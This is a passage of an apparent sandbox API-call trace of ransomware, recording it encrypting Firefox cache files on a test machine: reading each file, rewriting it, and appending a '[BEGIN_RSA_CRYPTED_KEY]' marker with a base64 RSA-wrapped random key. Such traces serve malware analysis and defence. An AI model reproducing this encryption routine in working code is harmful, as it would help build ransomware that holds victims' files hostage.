lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0254.645] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.645] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0254.646] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0254.646] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.646] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.647] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.647] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.647] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.647] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h2fjqLvfkADtvI3hwPLt4smO+6T2gG/MqDpgl4Ns+gvNhb98EeepkQLSC+LqzJE2\ntrDZK65V6D7icZqrxmkE+oqLB/a+zo3OHwlnsFBpqOAY6aVwfdhv+Q3IsJlsUUxz\nx5AH+c1c852V8wJeSndeEjnF7pL53kDqaAb3SAVno2AgIPleZKuXqbPf65PH3R7u\nCZb/0gJVS1vyFunjYkIlqgczwvemMe+znhLVFShQ7nIeTbomaZVGM6NAixWWw2EG\n8XijJAY64EuZ7j1skluB2VbBYe9mVcxlUp/C/dIl+eK2nqWoW0u3YEiSuRiBWz7A\nDh9WBKUkoRUqiymjkNhAeg==\n", pcchString=0x2e3f9a8) returned 1 [0254.647] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.648] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.648] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.648] CloseHandle (hObject=0x1b84) returned 1 [0254.650] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D7617EA1911F028DDF6CB8D5A8C999744E2D2587", dwFileAttributes=0x80) returned 1 [0254.651] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0254.811] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.811] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ef60*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ef60*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0254.812] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefa [0254.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.812] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.813] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.813] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="X/hhBy5GRIn01WinEro/am3zTQalJOpZzWx6ij+qdBQVBXBdncSxf8K3WrrVLrzs\ns+Wh46QmHXHeQ2BuxUgYTl8Ft05igduteSb7bBc9m1Iue/eSWw2lAw1CK5hG4UPx\ngY7DyvTHfRNZeXCPfEQs3wHGxuYRwjdw9xBg2Cks0+2Vdjq8bSf715I6kbiJd4l9\nHt41CLSDBZ7LjdNEKLALyd+ej/xuDEVYHfScD75z4xG+wLVZOKb3m/X6cE+U2k+D\n7FCFbM16cFJWsO+GSGpxAR/lQfX+MdZq02884IwW29jZHC4yhWbRacw6KpUbyd1q\nYbwoY9DCdva54ZRGagbCJA==\n", pcchString=0x2e3f9a8) returned 1 [0254.813] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.813] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.813] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.814] CloseHandle (hObject=0x1b84) returned 1 [0254.819] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.819] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D6F079F21194AF40050B050CF0C5B7B7593CB819", dwFileAttributes=0x80) returned 1 [0254.819] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0254.820] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.821] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ee60*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ee60*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0254.821] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfe [0254.821] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.821] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.822] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.822] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.822] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.822] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HRytYvnIjJ/4GkWtwhVDKRLJ8Av6cxfyRHi2q1iiPIItgcgYWqqvcS/Ue/CzzczB\nBIYJ1cIbQIEUFcGCAo55AVVfwGx4glrVEkaVvnXRJ4DiXBGvraPWMq+UBla17JWk\np3Ow7RmrjTi67VaB60WDFYVk6MjCQ0KN4oNcUBE3vjrM55dbrMA6GdhhJSxuuGMn\nPY0LrOLMro3Ikj8k2pV3OPqdmQ520OvqBTutkI/4p7mclsB7OSV18MISbzVulc9e\nTbIK5CMrtjvRfR4U5KO6ckqXk/7TwAYmOVNIVrvD09F5AY+b9C4wgE6Mp95J2kx3\nq6ivD6ktHfGpPdqOacyeOg==\n", pcchString=0x2e3f9a8) returned 1 [0254.822] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.822] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.822] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.822] CloseHandle (hObject=0x1b84) returned 1 [0254.824] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.824] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D6D7AC0B3D4DAC40D7A42CBE0FCCD3EF6B2BB312", dwFileAttributes=0x80) returned 1 [0254.824] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1d17, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1d17, lpOverlapped=0x0) returned 1 [0254.825] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7447, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.825] WriteFile (in: hFile=0x1b84, lpBuffer=0x344fd78*, nNumberOfBytesToWrite=0x1d17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344fd78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1d17, lpOverlapped=0x0) returned 1 [0254.826] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1d17 [0254.826] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.826] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.826] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N1BiqbBwNpDuj7ZaYAt5JLEgrom/MM94jlJsyR1oH1VekzoZSxu+YRVwcVVu/gZG\nx4e0ae1zTa69fSU99rA2Ej271kIP9Zt5mJZ0lK7JiyuK00/i5UCCihrv3d8sjGdS\nN12yBkH6PuRo9zSolN+U93l5zmuyMrkfI5UiG/oiHTLL7QE474EfFxWa01K/HTX8\nENa2Pxnnsr+7TIPlAZk7vE8re1FsiLbmoiasXI9KxbjikO0zcJJrpsUo3StLpKnq\nk1WtJhbxA1R9NImyNGt1MmDj4U54OqPsn46Dum8W7Q4LM9cvkxWstkYyR79gKqM7\n1F3UMp63arW0WwLoDZGTQg==\n", pcchString=0x2e3f9a8) returned 1 [0254.827] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.827] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.827] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.827] CloseHandle (hObject=0x1b84) returned 1 [0254.829] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.829] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D6988133383F46B313E92283511D51D44694FF4B", dwFileAttributes=0x80) returned 1 [0254.829] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0254.892] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.892] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0254.893] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0254.893] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.893] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.893] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.893] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.894] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.894] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="57KMucXrrVgQCwfIHyuQLicShCMV1Fv3U/IYQkvNJc2bn8HBT4dZhrBs16z0ubt/\n/jqZ1dEvyZtuFduStUOtmH2VWnB/z8kItE/C6qhenWggCJO/VlyQFHhOK4uv+q4G\n97BeTOwH17uxrVQb5yCIddGhtVE/u3aFM41pMH62aYisn6OrlRiYhdY7r+yYne5L\ngP5oCMlayC6NEAsruOyvQze7c8PjML3AXx7ThAS6oXKGFTb/Wo7rt843UBIma05C\n/GX0EqTkiF2qz9afqX17pfg54KRr1orPwmOHbkgrr2I/kZoYBkG8YwncLYmazvvP\nIlx4WXgUeyjbsbfhmglHYA==\n", pcchString=0x2e3f9a8) returned 1 [0254.894] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.894] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.894] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.894] CloseHandle (hObject=0x1b84) returned 1 [0254.896] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D5A4AE26A24C49F9F49B1094C48F8119295244FD", dwFileAttributes=0x80) returned 1 [0254.896] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x43e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x43e6, lpOverlapped=0x0) returned 1 [0255.029] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-17382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.029] WriteFile (in: hFile=0x1b84, lpBuffer=0x3452448*, nNumberOfBytesToWrite=0x43e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3452448*, lpNumberOfBytesWritten=0x2e3f9b4*=0x43e6, lpOverlapped=0x0) returned 1 [0255.029] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x43e6 [0255.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.029] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZDwjBimJWUD+yl1zft4BmTwGJwOsAUQ6F24xKNjRD5KgPEkCCDWaljyrbW6Tnnxc\nGgIjZbFqVZtUGQnDmYLhpilE3135WRU3n76bhL0DfdB3A6Yy2zGqdm3b843D0zqj\nGEcQ3biLlM0OEWM8M57HVTBNLUdFr+3eJPUlLiid6ztXR5fKgckPMVGegeYr0w3r\n+J2X8x6pSFbSuOA5TNuy5s2uOCNmFDgIepkb1EJ5Z3UUwzmFYCCKNUa5jC40XXFu\nGwMShehwvMeIxEnXwKEm+lYoIjPLaU7un20r4NH1b1PX7h5MnmuCMyEX/h9rEKlI\nhxeo3/yoewbXNEsNA3mZdQ==\n", pcchString=0x2e3f9a8) returned 1 [0255.030] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.030] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.031] CloseHandle (hObject=0x1b84) returned 1 [0255.032] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.032] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D2F307A633E4749EC8D91B11B77DF535A832EF76", dwFileAttributes=0x80) returned 1 [0255.033] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1516, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1516, lpOverlapped=0x0) returned 1 [0255.044] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5398, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.044] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f578*, nNumberOfBytesToWrite=0x1516, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f578*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1516, lpOverlapped=0x0) returned 1 [0255.045] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1516 [0255.045] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.045] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.046] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.046] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZnBQPwEEzSiaVstLElKWHwwdyIAZ2Grq3IfIWysjbAz6Ylb0Zl3ehRznGsY/0JJr\nZqvgB5CP5FzleklOTm+6LWPQaxgATenslthhA0kgr4KgQO6gXFcGXTVw+DVR2jJ7\nlUN2jI5CM3xTTUPDIpkG6mM8u/BmIvTLUBZwdqL04wBw5V6S7UROirh3M5QDpyqD\na1631+L71HKTG7YkXqY5kJuAnGoqzJKT8yOs19raSAEIqoxaG6heIFK0qf+/EFHU\nLWf8achaRGMep7qYiAlgnp1JOtAH//gKcIvePbGkAw6m/VbJBBBW1Y/JsyjqTsFJ\nk3AipbUgs84qkhN4JzDqBA==\n", pcchString=0x2e3f9a8) returned 1 [0255.046] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.046] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.046] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.047] CloseHandle (hObject=0x1b84) returned 1 [0255.048] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.048] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D23EB138FBF38277931754F5E6DF1A72B541893A", dwFileAttributes=0x80) returned 1 [0255.049] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | 